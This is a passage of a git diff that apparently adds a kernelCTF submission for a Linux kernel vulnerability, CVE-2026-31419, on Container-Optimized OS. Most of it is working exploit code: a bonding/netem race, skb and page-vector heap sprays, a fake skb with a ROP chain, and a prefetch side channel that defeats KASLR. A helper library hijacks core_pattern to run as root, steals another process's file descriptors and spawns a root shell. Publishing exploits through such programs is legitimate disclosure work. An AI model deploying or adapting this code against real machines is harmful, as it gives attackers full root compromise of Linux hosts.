size_t rop_bytes = (size_t)g_rop_nwords * 8; + char buf[0x1000] = {}; + size_t *ptr = (size_t *)buf; + for(int i = 0; i < 0x200; i++) + ptr[i] = AA(RET_SLIDE); // ret slide + int offset = 0; + // Place the (dynamically-built) ROP chain at the tail of each slide page. + memcpy(buf+0x1000-rop_bytes-offset, rop_chain, rop_bytes); + + char *m = (char *)mmap(0, 0x10000, PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0); + for (size_t i = 0; i < 0x10000; i += 0x1000) + memcpy(m + i + offset, buf, 0x1000-offset); + + // A wave of sleeping children stabilizes the vmap-stack layout. + for(int i = 0 ; i < 0x200; i++){ + int pid = fork(); + if(pid==0){ sleep(100); exit(0); } + } + // XDP spray. + for (int b = 0; b < 0x80; b++) { + int xs = socket(AF_XDP, SOCK_RAW, 0); + struct xdp_umem_reg mr = {}; + mr.addr = (size_t)m; + mr.len = 0x10000; + mr.chunk_size = 0x1000; + mr.headroom = 0; + mr.flags = 0; + setsockopt(xs, SOL_XDP, XDP_UMEM_REG, &mr, sizeof(mr)); + } + // Allocate a new stack frame as the target frame. + int pid = fork(); + if(pid) + waitpid(pid, 0, 0); +} + +void exploit(void){ + pinCPU(0); + sandbox(); + impLimit(); + int fd = initNL(); + char trash[0x1000] = {}; + initSocketArrayN(sk_fd,0x200); + // Master bond0 + NLMsgSend(fd, bondAdd("bond0")); + NLMsgSend(fd, bondModeSet("bond0",3)); + // Large enough MTU + NLS(fd, linkMtuSet("bond0",0x9999)); + NLMsgSend(fd, linkSet("bond0",1)); + + // Two Slaves + NLMsgSend(fd, dummyAdd("dummy0")); + NLS(fd, vethAdd("veth0","veth1")); + NLS(fd, linkSet("veth1",1)); + NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0"); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + NLMsgSend(fd, linkMasterSet("dummy0","bond0")); + NLMsgSend(fd, dummySet("dummy0",1)); + + // Race + prepare_if_bc("bond0"); + int pipefd1[2],pipefd2[2]; + pipe(pipefd1); + pipe(pipefd2); + + if(fork()==0){ + pinCPU(0); + close(pipefd1[1]); + close(pipefd2[0]); + + struct pollfd pfd1 = {.fd = pipefd1[0], .events=POLLIN}; + for(int attempt = 0; attempt < MAX_RACE_ATTEMPTS; attempt++){ + NLMsgSend(fd, linkMasterDel("veth0")); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + + if(poll(&pfd1,1,0)>0) + { + // Allocate on cpu 0 and return to cpu 1 + for(int i = 0x20 ; i < 0x31; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + pinCPU(1); + for(int i = 0x20 ; i < 0x31; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + write(pipefd2[1],trash, 4); + sleep(1000); + } + } + } + else{ + pinCPU(1); + close(pipefd1[0]); + close(pipefd2[1]); + size_t *ptr = (size_t *)trash; + + // For cpu partial + for(size_t i = 0x100 ; i < 0x180; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + char *qdisc_del_message = qdiscDel(0x10000); + char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP); + while(1){ + // Pre-pad + for(size_t i = 0x0 ; i < 0x10; i++) + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, (struct sockaddr *)&dst, sizeof(dst)); + // a free slot should be taken by the sk_buff, it's confirmed in debugging and it's usually slot 0x10 + for(size_t i = 0x10 ; i < 0x20; i++) + { + *ptr = i; + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + } + // Delete the skbs and the head in the queue + NLS_IF(fd, qdisc_del_message,"veth0"); + for(int i = 0x40 ; i < 0x60; i++) + { + *ptr = i; + write(sk_fd[i][1],trash,SKB_DATA_SIZE); + } + for(size_t i = 0x10 ; i < 0x20; i++) + { + int res = read(sk_fd[i][0],trash, SKB_DATA_SIZE); + // int res = recv(sk_fd[i][0], buf, SKB_DATA_SIZE, MSG_PEEK); + if(res < 0 || *ptr != i){ + // Now we are sure we hit the race + write(pipefd1[1], "FIRE", 4); + read(pipefd2[0],trash,4); + + for(size_t j = i+1 ; j < 0x20; j++) + read(sk_fd[j][0],trash,SKB_DATA_SIZE); + for(size_t i = 0x0 ; i < 0x10; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + for(int i = 0x100; i<0x180; i+=0x10) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + pgvAdd(0,0,0x100); + char * target = (char *)pgvMap(0); + char * fake_skb = make_fake_skb(); + char buf[0x1000]; + for(int i = 0 ; i < 0x10 ; i ++) + memcpy(buf+i*0x100,fake_skb,0x100); + for(int i = 0 ; i < 0x100 ; i++) + memcpy(target+i*0x1000,buf,0x1000); + + // Xen: spray the vmalloc RET-slide+ROP around the kernel + // stack so the fake skb's enter-gadget pivot lands in it. + xen(); + + success("Trying..."); + // Trigger: the fake skb's offset-0x60 ptr (ENTER_GADGET) is + // called -> enter pivots RSP into the sprayed slide -> ROP. + res = recv(sk_fd[i][0], trash, 0,0); + if(res<0){ + info("seems fail"); + for(int i = 0x40 ; i < 0x60; i++) + // recv(sk_fd[i][0], trash, SKB_DATA_SIZE,0); + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + info("Failed to exploit, retry..."); + goto END; + } + else goto END; // We won + } + + } + NLS_IF(fd, qdisc_add_message,"veth0"); + for(size_t i = 0x0 ; i < 0x10; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + for(int i = 0x40 ; i < 0x60; i++) + read(sk_fd[i][0],trash,SKB_DATA_SIZE); + } + } +END: + exit(0); +} + + +static void poc(void){ + pinCPU(0); + sandbox(); + impLimit(); + int fd = initNL(); + char trash[0x1000] = {}; + initSocketArrayN(sk_fd,0x200); + + // Master bond0 in broadcast mode (mode 3) with a large MTU. + NLMsgSend(fd, bondAdd("bond0")); + NLMsgSend(fd, bondModeSet("bond0",3)); + NLS(fd, linkMtuSet("bond0",0x9999)); + NLMsgSend(fd, linkSet("bond0",1)); + + // Two slaves; veth0 carries a netem qdisc with a huge delay so a broadcast + // skb lingers in the queue, widening the race window. + NLMsgSend(fd, dummyAdd("dummy0")); + NLS(fd, vethAdd("veth0","veth1")); + NLS(fd, linkSet("veth1",1)); + NLS_IF(fd, netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP),"veth0"); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + NLMsgSend(fd, linkMasterSet("dummy0","bond0")); + NLMsgSend(fd, dummySet("dummy0",1)); + + prepare_if_bc("bond0"); + + if(fork()==0){ + pinCPU(0); + for(int attempt = 0; attempt < MAX_RACE_ATTEMPTS*20; attempt++){ + NLMsgSend(fd, linkMasterDel("veth0")); + NLMsgSend(fd, linkMasterSet("veth0","bond0")); + } + exit(0); + } + + pinCPU(1); + char *qdisc_del_message = qdiscDel(0x10000); + char *qdisc_add_message = netemQdisc(QDISC_ADD,0x10000,-1, LARGE_USEC_FOR_SLEEP); + for(int round = 0; round < MAX_RACE_ATTEMPTS*20; round++){ + sendto(if_bc_socket, trash, 0x200-0x140-0x48-1, 0, + (struct sockaddr *)&dst, sizeof(dst)); + NLS_IF(fd, qdisc_del_message,"veth0"); + NLS_IF(fd, qdisc_add_message,"veth0"); + } + exit(0); +} + +// Build a Target from the embedded kxdb so libxdk can resolve the running +// kernel's page count for the KASLR scan window. +static Target prepare_kernelxdk(){ + TargetDb kxdb("target_db.kxdb", target_db); + Target target = kxdb.AutoDetectTarget(); + printf("[+] Target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + return target; +} + + +static uint64_t leak_kernel_base_and_check(Target *target){ + uint64_t num_pages = target->GetKernelPageCount(); + uint64_t kernel_base = leak_kaslr_base(num_pages, 100, 3); + check_kaslr_base(kernel_base); + printf("[+] Kernel base: 0x%lx\n", (unsigned long)kernel_base); + return kernel_base; +} + +int main(int argc, char *argv[]){ + // Vulnerability-verification mode used by kernelctf/vuln-verify: run only the + // bonding race to trip KASAN on the upstream before/after-patch kernels. + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) { + alarm(180); + poc(); + return 0; + } + + pinCPU(0); + Target target = prepare_kernelxdk(); + g_target = ⌖ + kaslr = leak_kernel_base_and_check(&target); + + // Hard backstop in case a child wedges the kernel; the loop below normally + // exits cleanly well before this fires. + alarm(150); + + COREHEAD(argv); + if (fork() == 0) + { + pinCPU(1); + setsid(); + crash(666,"/proc/self/exe"); + } + time_t start = time(NULL); + for(int attempt = 0; attempt < 50; attempt++){ + if(time(NULL) - start >= 120){ + info("Exploit timed out, giving up"); + break; + } + int pid = fork(); + if(!pid) + exploit(); + else + waitpid(pid,0,0); + } + info("Exploit did not succeed after all retries"); + exit(1); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore new file mode 100644 index 000000000..7dcd4c353 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/.gitignore @@ -0,0 +1,5 @@ +# Compiled libx build artifacts +*.o +*.a +*.so +netlink/*.o diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile new file mode 100644 index 000000000..bf8127ff9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/Makefile @@ -0,0 +1,76 @@ +CC ?= gcc +CFLAGS =-fPIC -w +PREFIX ?= /lib/x86_64-linux-gnu +INCLUDE_PREFIX ?= /usr/include + +# Headers in root +ROOT_HEADERS = libx.h kaslr.h + +# Headers in netlink/ +NETLINK_HEADERS = netlink/net.h netlink/qdisc.h netlink/bond.h netlink/veth.h + +HEADERS = $(ROOT_HEADERS) $(NETLINK_HEADERS) + +# Object files +ROOT_OBJS = libx.o kaslr.o +NETLINK_OBJS = netlink/net.o netlink/qdisc.o netlink/bond.o netlink/veth.o + +OBJS = $(ROOT_OBJS) $(NETLINK_OBJS) + +all: libx.so libx.a + +musl: + $(MAKE) CC=musl-gcc all + +libx.o: libx.c libx.h + $(CC) $(CFLAGS) -masm=intel -c libx.c -o libx.o + +kaslr.o: kaslr.c kaslr.h + $(CC) $(CFLAGS) -c kaslr.c -o kaslr.o + +netlink/net.o: netlink/net.c netlink/net.h + $(CC) $(CFLAGS) -c netlink/net.c -o netlink/net.o + +netlink/qdisc.o: netlink/qdisc.c netlink/qdisc.h + $(CC) $(CFLAGS) -c netlink/qdisc.c -o netlink/qdisc.o + +netlink/bond.o: netlink/bond.c netlink/bond.h + $(CC) $(CFLAGS) -c netlink/bond.c -o netlink/bond.o + +netlink/veth.o: netlink/veth.c netlink/veth.h + $(CC) $(CFLAGS) -c netlink/veth.c -o netlink/veth.o + +libx.so: $(OBJS) + $(CC) $(CFLAGS) -shared -o $@ $(OBJS) + +libx.a: $(OBJS) + ar rcs $@ $(OBJS) + +clean: + rm -rf ./*.o ./*.so ./*.a netlink/*.o + +install: libx.so libx.a + cp ./libx.so $(PREFIX)/ + cp ./libx.a $(PREFIX)/ + cp ./libx.h $(INCLUDE_PREFIX)/ + cp ./kaslr.h $(INCLUDE_PREFIX)/ + mkdir -p $(INCLUDE_PREFIX)/netlink + cp ./netlink/*.h $(INCLUDE_PREFIX)/netlink/ + +install-musl: libx.so libx.a + cp ./libx.so /lib/x86_64-linux-musl/ + cp ./libx.a /lib/x86_64-linux-musl/ + cp ./libx.h /usr/include/x86_64-linux-musl/ + cp ./kaslr.h /usr/include/x86_64-linux-musl/ + mkdir -p /usr/include/x86_64-linux-musl/netlink + cp ./netlink/*.h /usr/include/x86_64-linux-musl/netlink/ + +uninstall: + rm -f $(PREFIX)/libx.so $(PREFIX)/libx.a + rm -f $(INCLUDE_PREFIX)/libx.h $(INCLUDE_PREFIX)/kaslr.h + rm -rf $(INCLUDE_PREFIX)/netlink + +uninstall-musl: + rm -f /lib/x86_64-linux-musl/libx.so /lib/x86_64-linux-musl/libx.a + rm -f /usr/include/x86_64-linux-musl/libx.h /usr/include/x86_64-linux-musl/kaslr.h + rm -rf /usr/include/x86_64-linux-musl/netlink diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c new file mode 100644 index 000000000..dbe69c371 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c @@ -0,0 +1,137 @@ +#include "kaslr.h" + +uint64_t sidechannel(size_t addr) { + uint64_t a, b, c, d; + asm volatile (".intel_syntax noprefix;" + "mfence;" + "rdtscp;" + "mov %0, rax;" + "mov %1, rdx;" + "mfence;" + "prefetcht0 qword ptr [%4];" + "prefetcht0 qword ptr [%4];" + "mfence;" + "rdtscp;" + "mov %2, rax;" + "mov %3, rdx;" + "mfence;" + ".att_syntax;" + : "=r" (a), "=r" (b), "=r" (c), "=r" (d) + : "r" (addr) + : "rax", "rbx", "rcx", "rdx"); + a = (b << 32) | a; + c = (d << 32) | c; + return c - a; +} +void clean_cache(size_t base){ + for(int i=0;i<0x100;i++){ + + size_t mess = i; + size_t probe = (mess*0x1000+base); + + sidechannel(probe); + } +} + +u64 leak_syscall_entry(int pti) +{ + sched_yield(); + u64 data[ARR_SIZE] = {0}; + u64 min = ~0, addr = ~0; + for (int i = 0; i < ITERATIONS + 2; i++) + { + for (u64 idx = 0; idx < ARR_SIZE; idx++) + { + u64 time = sidechannel(SCAN_START + idx * STEP); + + if (i >= 2) + data[idx] += time; + } + } + for (int i = 0; i < ARR_SIZE; i++) + { + data[i] /= ITERATIONS; + if (data[i] < min) + { + min = data[i]; + addr = SCAN_START + i * STEP; + } + } + + if(pti){ + u64 previous_data = data[0]; + + for(int i = 0x1; i< ARR_SIZE; i++) + { + if(data[i]>previous_data*1.1) + continue; + + if( data[i]< previous_data && previous_data-data[i] > 0.15*previous_data && data[i]= 0) + return cached; + u32 eax, ebx, ecx, edx; + asm volatile("cpuid" + : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) + : "a"(0), "c"(0)); + // "GenuineIntel" -> ebx="Genu" edx="ineI" ecx="ntel" + cached = (ebx == 0x756e6547 && edx == 0x49656e69 && ecx == 0x6c65746e); + return cached; +} + +static int _vote_samples(void){ + return _is_intel() ? VOTE_SAMPLES_INTEL : VOTE_SAMPLES_AMD; +} + +size_t _lowest_above_peak(size_t *val, int n){ + size_t addr[VOTE_SAMPLES_MAX]; + int cnt[VOTE_SAMPLES_MAX], m = 0; + for(int i = 0; i < n; i++){ + int j; + for(j = 0; j < m; j++) + if(addr[j] == val[i]){ cnt[j]++; break; } + if(j == m){ addr[m] = val[i]; cnt[m] = 1; m++; } + } + int peak = 0; + for(int j = 0; j < m; j++) + if(cnt[j] > peak) peak = cnt[j]; + // Threshold: count * PEAK_DEN >= peak * PEAK_NUM (avoids float). + size_t best = ~0ull; + for(int j = 0; j < m; j++) + if((size_t)cnt[j] * PEAK_DEN >= (size_t)peak * PEAK_NUM) + if(addr[j] < best) + best = addr[j]; + return best; +} + +static size_t _vote(u64 (*sample)(int), int pti){ + size_t val[VOTE_SAMPLES_MAX]; + int n = _vote_samples(); + for(int i = 0; i < n; i++) + val[i] = sample(pti); + return _lowest_above_peak(val, n); +} + +size_t get_kaslr_precise(int pti){ + return _vote(leak_syscall_entry, pti); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h new file mode 100644 index 000000000..6056d544f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h @@ -0,0 +1,32 @@ +#include +#include +#include +#include +#include + +#define STEP 0x1000000ull +#define KERNEL_LOWER_BOUND 0xffffffff81000000ull +#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull +#define entry_SYSCALL_64_offset 0x1400000ull +#define SCAN_START KERNEL_LOWER_BOUND +#define SCAN_END KERNEL_UPPER_BOUND +#define ARR_SIZE (((SCAN_END) - (SCAN_START)) / (STEP)) + +#define STEP_PHYS 0x40000000ull +#define PHYS_LOWER_BOUND 0xffff887000000000ull +#define PHYS_UPPER_BOUND 0xffffa45555555555ull + +#define SCAN_START_PHYS PHYS_LOWER_BOUND +#define SCAN_END_PHYS PHYS_UPPER_BOUND +#define ARR_SIZE_PHYS (((SCAN_END_PHYS) - (SCAN_START_PHYS)) / (STEP_PHYS)) + +#define DUMMY_ITERATIONS 2ull +#define ITERATIONS 12ull + +#define size_t unsigned long long +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; + +size_t get_kaslr_precise(int pti); diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c new file mode 100644 index 000000000..804a6edd1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c @@ -0,0 +1,217 @@ +#include "libx.h" + +pgvFrame pgv[INITIAL_PG_VEC_SPRAY]; +pgvFrame pgvL[0x400]; +int optmem_max; +int urand_fd=-1; +int pg_vec_child[2],pg_vec_parent[2]; +int sk_fd[SOCKET_NUM][2]; +int pipe_fd[PIPE_NUM*4][2]; +size_t MSGLIMIT = 0; +size_t user_cs, user_ss, user_rflags, user_sp; + +void success(const char *text){ + printf("\033[1;32m[+] "); + printf("%s", text); + printf("\033[0m\n"); +} +void info(const char *text){ + printf("\033[34m\033[1m[+] %s\033[0m\n",text); +} +void panic(const char *text){ + printf("\033[0;31m"); + printf("[X] %s", text); + printf("\033[0m\n"); + exit(0x132); +} +char *hex(size_t num){ + char *buf = malloc(0x20); + snprintf(buf,0x20,"%p",(void *)num); + return buf; +} + +void pinCPU(int id){ + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(id, &my_set); + sched_setaffinity(0, sizeof(cpu_set_t), &my_set); +} +void impLimit(){ + struct rlimit limit; + pid_t pid = 0; + if (prlimit(pid, RLIMIT_NOFILE, 0, &limit) == -1) { + perror("prlimit failed"); + return ; + } + + limit.rlim_cur = limit.rlim_max; + limit.rlim_max = limit.rlim_max; + prlimit(pid, RLIMIT_NOFILE, &limit, 0); +} +void sandbox() +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + int temp; + char edit[0x100]; + unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET); + + temp = open("/proc/self/setgroups", O_WRONLY); + write(temp, "deny", strlen("deny")); + close(temp); + + temp = open("/proc/self/uid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(temp, edit, strlen(edit)); + close(temp); + + temp = open("/proc/self/gid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(temp, edit, strlen(edit)); + close(temp); + return; +} +void saveStatus() +{ + __asm__ ( + "mov %0, cs;" + "mov %1, ss;" + "mov %2, rsp;" + "pushf;" + "pop %3;" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + ); +} + +void debug(){ + success("DEBUG"); + char buf[0x10]={}; + read(0,buf,0xf); +} +void shell(){ + FAIL(getuid(),"[!] Failed to Escape"); + system("/bin/sh"); +} +void _sigsegv_handler(int sig, siginfo_t *si, void *unused) { + info("Libx: SegFault Handler is spwaning a shell..."); + shell(); + while(1); +} +void hook_segfault(){ + struct sigaction sa; + memset(&sa, 0, sizeof(sigaction)); + sigemptyset(&sa.sa_mask); + sa.sa_flags = SA_SIGINFO; + sa.sa_sigaction = _sigsegv_handler; + + if (sigaction(SIGSEGV, &sa, 0) == -1) { + perror("hook_segfault"); + exit(EXIT_FAILURE); + } + if (sigaction(SIGTRAP, &sa, 0) == -1) { + perror("hook_segfault"); + exit(EXIT_FAILURE); + } +} + +#define PAGE_ALLOC_COSTLY_ORDER 3 +#define DIV_ROUND_UP __KERNEL_DIV_ROUND_UP +#define __KERNEL_DIV_ROUND_UP(n, d) (((n) + (d) - 1) / (d)) +size_t slab_size[] = {0x8,0x10,0x20,0x40,0x60,0x80,0xc0,0x100,0x200,0x400,0x800,0x1000,0x2000}; + +void initSocketArrayN(int sk_socket[SOCKET_NUM][2],size_t nr){ + for(int i = 0 ; i < nr ; i++) + FAIL(socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i])< 0,"[-] Failed to create sockect pairs!"); +} + +u64 _pvg_sock(u64 size, u64 n) +{ + struct tpacket_req req; + u32 socketfd, version; + socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); + FAIL_IF(socketfd<0); + + version = TPACKET_V1; + + FAIL_IF(setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0); + + assert(size % 4096 == 0); + + memset(&req, 0, sizeof(req)); + req.tp_block_size = size; + req.tp_block_nr = n; + req.tp_frame_size = PAGE_SIZE; + req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; + FAIL_IF(setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0); + return socketfd; +} +void pgvAdd(size_t idx, size_t order, size_t nr){ + FAIL(idx>=sizeof(pgvL)/sizeof(pgvL[0]), "Index OOB"); + pgvL[idx].fd = _pvg_sock(PAGE_SIZE * (1<=sizeof(pgvL)/sizeof(pgvL[0]), "Index OOB"); + FAIL(pgvL[idx].fd <= 0,"[-] PGV not allocated"); + void *mapped = mmap(0, pgvL[idx].size , PROT_READ | PROT_WRITE, MAP_SHARED, pgvL[idx].fd, 0); + FAIL((long long )mapped < 0,"[-] FAILED to MAP PGV"); + pgvL[idx].mapped = mapped; + return mapped; +} + +void coreShell(int reboot){ + success("Escaping..."); + char buf[0x100] = {}; + FILE* fp = popen("pidof n132","r"); + fread(buf,1,0x100,fp); + fclose(fp); + int pid = strtoull(buf,0,10); + int pfd = syscall(SYS_pidfd_open,pid,0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd ,0); + dup2(stdoutfd ,1); + dup2(stderrfd ,2); + if(reboot==0) + system("cat /flag;/bin/bash"); + else{ + // Print the flag to the victim's stdout (what the harness greps) and + // flush before powering off, so the flag can't be lost to the shutdown. + system("cat /flag"); + fsync(1); + // We run as root in the core_pattern handler. Power off directly with + // reboot(2) -- don't rely on sysrq 'o' being enabled in the COS image. + // If either is masked the box keeps churning until the 60s alarm/repro + // watchdog kills QEMU (init exits -> "Attempted to kill init" panic). + sync(); + // Call the syscall directly: the `reboot` parameter name shadows the + // libc reboot() wrapper here. + syscall(SYS_reboot, LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, + LINUX_REBOOT_CMD_POWER_OFF, NULL); + // Fallback if reboot(2) is blocked in this context. + system("echo o>/proc/sysrq-trigger;"); + } +} +void crash(int fd,char *bin_path) +{ + int memfd = memfd_create("", 0); + sendfile(memfd, open(bin_path, 0), 0, 0xffffffff); + if(dup2(memfd,fd)==-1){ + panic("WTF"); + } + close(memfd); + char dst[0x100] = {}; + snprintf(dst,sizeof(dst),"|/proc/%%P/fd/%d",fd); + while (1) + { + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", 0); + read(core, buf, sizeof(buf)); + close(core); + if(strncmp(buf, dst, strlen(dst)) == 0) + *(size_t *)0 = 0; + sleep(1); + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h new file mode 100644 index 000000000..55461a4c6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h @@ -0,0 +1,108 @@ +#define _GNU_SOURCE +#ifndef MYLIB_H +#define LIBX "v1.0" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "netlink/net.h" +#include "netlink/qdisc.h" +#include "netlink/bond.h" +#include "netlink/veth.h" + +#define PIPE_NUM 256 +#define SOCKET_NUM 0x400 +#define INITIAL_PG_VEC_SPRAY 0x200 +#define KASLR 0xffffffff81000000ull +#define ELIBX 0x132 + +typedef __SIZE_TYPE__ size_t; +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; + +#define FAIL_IF(x) if ((x)) { \ + printf("\033[0;31m"); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +#define FAIL(x, msg) if ((x)) { \ + printf("\033[0;31m"); \ + printf("%s\n",msg); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +#define COREHEAD(argv) \ + do { \ + if (strncmp((argv)[0], "/proc/", 6) == 0) { \ + coreShell(1); \ + } else { \ + strncpy((argv)[0], "n132", strlen((argv)[0])); \ + (argv)[0][strlen("n132")] = '\0'; \ + } \ + } while (0) + +extern int sk_fd[SOCKET_NUM][2]; +extern size_t user_cs, user_ss, user_rflags, user_sp; + +void shell(void); +char * hex(size_t); +void success(const char *text); +void info(const char *text); +void panic(const char *text); +size_t get_kaslr(int pti); +size_t get_kaslr_precise(int pti); +void debug(void); +void impLimit(void); +void pinCPU(int id); +void sandbox(void); +void saveStatus(void); +void hook_segfault(void); +void coreShell(int reboot); +void crash(int fd, char *bin_path); + +void initSocketArrayN(int sk_socket[SOCKET_NUM][2],size_t nr); + +typedef struct pgv_frame{ + int fd; + char * mapped; + size_t size; +}pgvFrame; + +extern pgvFrame pgv[INITIAL_PG_VEC_SPRAY]; +extern pgvFrame pgvL[0x400]; + +void pgvAdd(size_t idx, size_t order, size_t nr); +void * pgvMap(int idx); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c new file mode 100644 index 000000000..4087741e7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c @@ -0,0 +1,11 @@ +#include "bond.h" + +char * bondAdd(const char *name) +{ + return linkAdd(name, "bond"); +} + +char * bondModeSet(const char *name, __u8 mode) +{ + return linkAttrSet(name, "bond", IFLA_BOND_MODE, sizeof(__u8), &mode); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h new file mode 100644 index 000000000..a1e5fba9e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h @@ -0,0 +1,12 @@ +#ifndef BOND_H +#define BOND_H + +#include "net.h" + +#define BOND_MODE_BROADCAST 3 + +char * bondAdd(const char *name); + +char * bondModeSet(const char *name, __u8 mode); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c new file mode 100644 index 000000000..683e3ab68 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c @@ -0,0 +1,175 @@ +#include "net.h" + +int initNL(void ){ + struct if_msg if_up_msg = { + { + .nlmsg_len = 32, + .nlmsg_type = RTM_NEWLINK, + .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK, + }, + { + .ifi_family = AF_UNSPEC, + .ifi_type = ARPHRD_NETROM, + .ifi_index = 1, + .ifi_flags = IFF_UP, + .ifi_change = 1, + }, + }; + int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + FAIL_IF(nl_sock_fd < 0); + + int one = 1; + setsockopt(nl_sock_fd, SOL_NETLINK, NETLINK_EXT_ACK, &one, sizeof(one)); + if_up_msg.ifi.ifi_index = if_nametoindex("lo"); + NLMsgSend(nl_sock_fd, (struct tf_msg *)(&if_up_msg)); + return nl_sock_fd; +} + +#define NEWLINK_BUF_SIZE 512 +struct newlink_req { + struct nlmsghdr nlh; + struct ifinfomsg ifi; + char attrbuf[NEWLINK_BUF_SIZE]; +}; + +char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = 